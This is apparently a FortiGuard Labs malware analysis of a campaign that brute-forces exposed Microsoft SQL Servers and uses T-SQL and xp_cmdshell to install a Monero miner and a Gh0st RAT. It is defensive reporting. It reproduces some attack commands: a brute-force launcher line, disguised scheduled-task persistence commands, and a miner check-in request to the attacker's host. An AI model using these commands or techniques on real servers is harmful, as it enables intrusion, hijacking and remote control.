Affected Platforms: Microsoft Windows
Impacted Users: Microsoft SQL Server
Impact: XMR Miner and Remote Control of the compromised server
Severity Level: High

In early October 2026, FortiGuard Labs uncovered an active campaign targeting Internet-facing Microsoft SQL Server instances and using T-SQL commands to deliver malware.

The malware scans IP ranges for exposed SQL Servers and attempts to log in using supplied credentials. After a successful login, it remotely executes malicious T-SQL commands on the compromised server to download and run additional malware.

This blog walks through the full attack chain: how the malware retrieves the IP ranges to scan, downloads supporting files, establishes persistence, and abuses specific T-SQL commands to deliver the next stage.

Infection Chain

The infection chain proceeds as follows, as illustrated in Figure 1:

dllhost.exe → ip.php (target IP range for MS SQL Server) → Naabu port scan (TCP Port 1433) → go.vbs / go.bat → dwm.exe brute force → T-SQL execution (2018.sql) → download and run additional malware

Analyzing the Malware Payload

The discovered payload, named dllhost.exe, is packed with UPX (versions 3.9–5.21 detected), as shown in Figure 2.

To establish persistence, the malware creates a scheduled task that runs the payload every 30 minutes.

It executes the following command to create the task:

schtasks /create /tn MicrosoftEdgeUpdateTaskMachineUA{CEC15D9B-F4BB-446A-B6E1-C61E74B016A2} /tr \"E:\dllhost.exe\" /sc minute /mo 30 /f

The task name imitates a Microsoft Edge Update task to mislead victims, as shown in Figure 5.

Stage One: Scanning IP Ranges for Microsoft SQL Server

The malware retrieves a target IP range from its server via an HTTP GET to hxxp://site.vietnam852[.]com:88/ip.php. Figure 6 shows the request and response, which contain a target IP address XXX.138.101.50.

It then extracts the address from the response and converts it to CIDR notation (for example, XXX.138.0.0/16). The /16 mask length is hardcoded as 0x10 in the payload.

Naabu scans the resulting range with its Runner.RunEnumeration() method.

For each randomly generated address in the range, it checks whether TCP port 1433—the default port for Microsoft SQL Server—is open.

Figure 7 shows the Wireshark capture. The malware sends TCP SYN packets to port 1433 on randomly generated addresses within the target range. When a host completes the three-way handshake, the malware records the host’s IP address and port in %temp%\Result.txt.

The file contains lines such as:

{Target IP Address} 1433 Open
{Target IP Address} 1433 Open
…

After scanning the current range, the malware requests another range from its server and begins another round of scanning.

Brute Force and T-SQL Execution

The malware runs the downloaded go.vbs using cscript.exe. go.vbs serves as the entry point for the eight downloaded files and launches go.bat and out.bat.

go.bat executes the following command:

%SystemRoot%\System32\findstr.exe " Open" Result.txt && start dwm.exe -i Result.txt -u user.txt -p pass.txt -t 500 -o out.txt -q 2018.sql

“findstr.exe” checks whether " Open" appears in Result.txt, indicating that Naabu recorded an open SQL Server. If so, go.bat runs dwm.exe, a .NET executable whose assembly name is “CSQL.exe”. It accepts the following arguments:

• “-i” specifies the file that contains the target IP address.
• “-u” specifies a file that contains the usernames, like “sa” and “admin”.
• “-p” specifies a password file. There are 2700+ predefined passwords inside pass.txt.
• “-t” specifies the maximum thread count.
• “-o” specifies the file where the output information is saved.
• “-q” specifies the SQL file containing the T-SQL commands to be executed on a compromised Microsoft SQL Server.

The purpose of “dwm.exe” is to perform a brute-force attack against a target IP address (Result.txt) using a list of login users (user.txt) and preset passwords (pass.txt). Figure 8 shows the “ConnectionSQL()” method used to perform the brute-force attack.

After a successful brute-force login, it launches another instance of dwm.exe to execute the T-SQL commands in 2018.sql on the compromised server.

T-SQL is Microsoft SQL Server’s SQL extension used to query databases, manage database objects, and execute procedural logic. The malware abuses it to run malicious commands remotely on the compromised server.

“dwm.exe” executes the T-SQL commands in batches separated by GO. There are several batches in 2018.sql. These batches perform the following:

• It enables xp_cmdshell on the compromised SQL Server.
• It downloads an executable into C:\Users\Public, renames it to Google.exe or payload.exe, and executes it on the compromised SQL Server. The file is retrieved from hxxp://site.vietnam852[.]com:88/down.exe or ftp.vietnam852[.]com/down.exe.
• It also schedules a daily task named Microsoft_UPDATES on the remote server to download and run the file.
• It extracts a predefined executable (held in the @DATA variable) to C:\Users\Public\Secs.exe and copies it to the Startup folder, so Secs.exe runs automatically when the computer starts.

Figure 9 shows a batch that extracts and runs the executable on the remote SQL Server.

Stage Two: Malware Downloader on the Compromised SQL Server

Whether the T-SQL commands download the executables from the HTTP/FTP servers or extract them from the @DATA variable, they are all versions of a loader that downloads and runs additional malware on the compromised SQL Server.

This section uses Secs.exe to demonstrate how the downloader works.

When Secs.exe runs on the compromised SQL Server, it downloads additional executables from its FTP server. Figure 10 shows the file list on the server during analysis.

After these executables run, the malware creates another scheduled task to repeatedly run Secs.exe. The following command creates the task; its name mimics a Microsoft Edge update.

"cmd.exe /C schtasks.exe /Create /TN \"MicrosoftEdgeUpdateTaskMachineCore{4C33CE3F-7722-4257-AF83-351A4911C159}\" /TR \"\\\"C:\\Users\\Public\\Secs.exe\\\"\" /SC DAILY /ST 01:00 /F"

It then collects system information from the compromised server and sends it via an HTTP POST request to register the host with the malware's backend.

The collected information in Figure 12 includes:

• Public IP address of the compromised computer.
• Country name.
• Windows OS edition.
• Processor and RAM information.
• Windows OS installation time.
• User name and Host name.

Delivered Malware: MicrosoftEdgeUpdate.exe (XMR Miner)

MicrosoftEdgeUpdate.exe, downloaded from the FTP server, is protected by two packers: Themida and a custom LZSS packer (see Figure 13).

The malware also notifies its server that the compromised host has begun mining, using the HTTP GET request shown below.

GET /tj/xmr.php?data=DESKTOP-4OLCMRN%7C1985.71%7C1%7C0%7Cxmr-ru.kryptex.network%3A7029%7Crx%2F0%7C1195038%7C60 HTTP/1.1
Connection: Keep-Alive
User-Agent: XMRig Reporter
Host: site.vietnam852.com

Delivered Malware: winlogon.exe (Gh0st RAT)

“winlogon.exe” is another payload downloaded from the FTP server and protected by Themida. Its C2 server had already shut down before analysis, so only static analysis of the unpacked winlogon.exe was performed. It was identified as a Gh0st RAT variant.

Persistence

It has three mechanisms to establish persistence on the compromised computer.

• It adds winlogon.exe to the Run key in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, so the RAT starts when the computer boots.
• It creates a Windows service to run the malware.
• It creates a scheduled task that runs the RAT every 30 minutes using schtasks.exe.

Capabilities

The RAT's command set includes keylogging, data theft, and more than 30 control commands. Features such as screen capture and remote desktop are provided through plugins. It also contains two hardcoded C2 endpoints:

server.vietnam852[.]com:8000
www.swordaa[.]com:8000

Gh0st RAT provides features via the control commands listed in the table below.

Conclusion

This analysis examined a campaign that abuses exposed Microsoft SQL Server instances to deliver additional malware. The payload, a UPX-packed Go binary that uses the Naabu scanner, retrieves a target IP range from its C2 server, probes TCP port 1433 to identify reachable servers, and records each successful response in Result.txt.

The downloaded go.vbs starts go.bat, which launches dwm.exe to brute-force MSSQL logins using a predefined list of users and passwords. It then executes the T-SQL commands in 2018.sql on each compromised server. Those commands enable xp_cmdshell and download or extract a loader into C:\Users\Public. The loader, in turn, pulls additional malicious executables from an FTP server.

During my analysis, malware samples were downloaded: “MicrosoftEdgeUpdate.exe” is an XMRig miner that uses the compromised server's CPU to mine Monero; “winlogon.exe” is a Gh0st RAT that provides keylogging, screen capture, file management, a remote shell, and more than 30 control commands for remotely controlling the compromised MS SQL servers.

Fortinet Protections

Fortinet customers are already protected from this campaign with FortiGuard’s IPS, Web Filtering, and AntiVirus services as follows:

The domains and URLs associated with this campaign are rated as Malicious Websites by the FortiGuard Web Filtering service.

FortiGuard Antivirus detects the malicious files described in this report with the following AV signatures:

W64/MSSQLBruteforcer.F62C!tr
W64/Agent.DRN!tr
W32/Agent.DAV!tr
VBS/Agent.PPWT!tr
MSIL/Agent.AFL!tr
…

FortiGuard IPS signature MS.SQL.Server.Brute.Force.Login detects brute force attacks against Microsoft SQL Server.

FortiGates detect port scan by enabling tcp_port_scan in the DoS policy.

Fortinet FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service, and each solution includes the FortiGuard AntiVirus engine. As a result, customers using these products already have up-to-date protections.

To stay informed of new and emerging threats, sign up to receive future alerts.

We also suggest that our readers complete the free NSE training: NSE 1 – Information Security Awareness, which includes information on Internet threats and is designed to help end users identify and protect themselves against phishing attacks.

The FortiPhish Phishing Simulation Service, together with Fortinet’s Security Awareness and Training Service, uses real-world phishing scenarios to train and test employees against common social engineering tactics. By improving users’ ability to recognize and respond to suspicious content—especially during high-risk periods of distraction or urgency—these services help reduce the risk of successful phishing and malware attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

MITRE ATT&CK Techniques

IOCs

Domains:

site.vietnam852[.]com:88
ftp.vietnam852[.]com:88
server.vietnam852[.]com:8000
www.swordaa[.]com:8000
site.hfgjjkrewjk[.]com
site.jiancai008[.]com

Relevant URLs:

hxxp://site.vietnam852[.]com:88/2026/2018.sql
hxxp://site.vietnam852[.]com:88/2026/dwm.exe
hxxp://site.vietnam852[.]com:88/2026/go.bat
hxxp://site.vietnam852[.]com:88/2026/go.vbs
hxxp://site.vietnam852[.]com:88/2026/out.bat
hxxp://site.vietnam852[.]com:88/2026/pass.txt
hxxp://site.vietnam852[.]com:88/2026/sqlcmd.exe
hxxp://site.vietnam852[.]com:88/2026/user.txt
hxxp://site.vietnam852[.]com:88/down.exe
hxxp://site.vietnam852[.]com:88/ip.php
hxxp://ftp.vietnam852[.]com:88/post.php
hxxp://site.jiancai008[.]com:88/test/dllhost.exe
hxxp://site.jiancai008[.]com:88/test/winlogon.exe
hxxp://site.jiancai008[.]com:88/test/WinRing0x64.sys
hxxp://site.jiancai008[.]com:88/test/MicrosoftEdgeUpdate.exe
hxxp://ftp.vietnam852[.]com:88/test/WinRing0x64.sys
hxxp://ftp.vietnam852[.]com:88/test/MicrosoftEdgeUpdate.exe
hxxp://ftp.vietnam852[.]com:88/test/winlogon.exe
hxxp://ftp.vietnam852[.]com:88/test/dllhost.exe
hxxp://ftp.vietnam852[.]com:88/test/sihost.exe
hxxp://site.vietnam852[.]com/tj/xmr.php?data=
hxxp://site.hfgjjkrewjk[.]com/tj/xmr.php?data=

Relevant Samples SHA-256:

dllhost.exe
8CE2CD98EF6CEEECE8239936E4AEA042C41807F632CD691D5091705BF6C0076D

2018.sql / malicious T-SQL command
F5444E8E9E9E019693AACB363B7441AC0B8ECFE96A77FD94B9C312A017588EB4

go.bat
2A0D2889241885D5EA6FE7DD1B1ADC83653A0C07B8AAA1B0832E5F9C0225B379

go.vbs
79596CF6E267EF5CB658BD97D04E42A41001D36595E370441ADB3C2B5DD5666C

out.bat
E9D3FD9093C476B8B5DE19AA00C50758568649DEF6491F54FA3E0ABA4EA31AC9

sqlcmd.exe
D6E3FD28F479138B336E2C2088AD2E86B7646A163AA453B1703905A4B359070F

dwm.exe
124774698FD3EDE0800015D19C2BD6C1869D03BBC2E6E8DBE2F69D2978F7F4D0

down.exe / google.exe / payload.exe
125D3A0EFE7699BB20397C13F0F4993AD893952727487B4D190E386A5B14C427
20983573B840447E1AACD6D3F6DD240732B15037D268D6456F0D3C4EC5051CB0

Embedded EXE inside 2018.sql /Malware Downloader
58DB0CA2054ABE2989412D7A1C8ED16718577F893C196825C848FCD56C7E8F05

MicrosoftEdgeUpdate.exe / XMR Miner
2A23E10BFC097E98295CBFF8124BD403C4CB677E709B48CCC53D6ACA216C3061
DA4128AA5D006E05C58F0D240C2D8E5FB02774B6ACF314F1230059C7A3498724

winlogon.exe / Gh0stRAT
3F64B0146B323C5716043360E84384A5A197A897F46088DF93A910470A29E1A0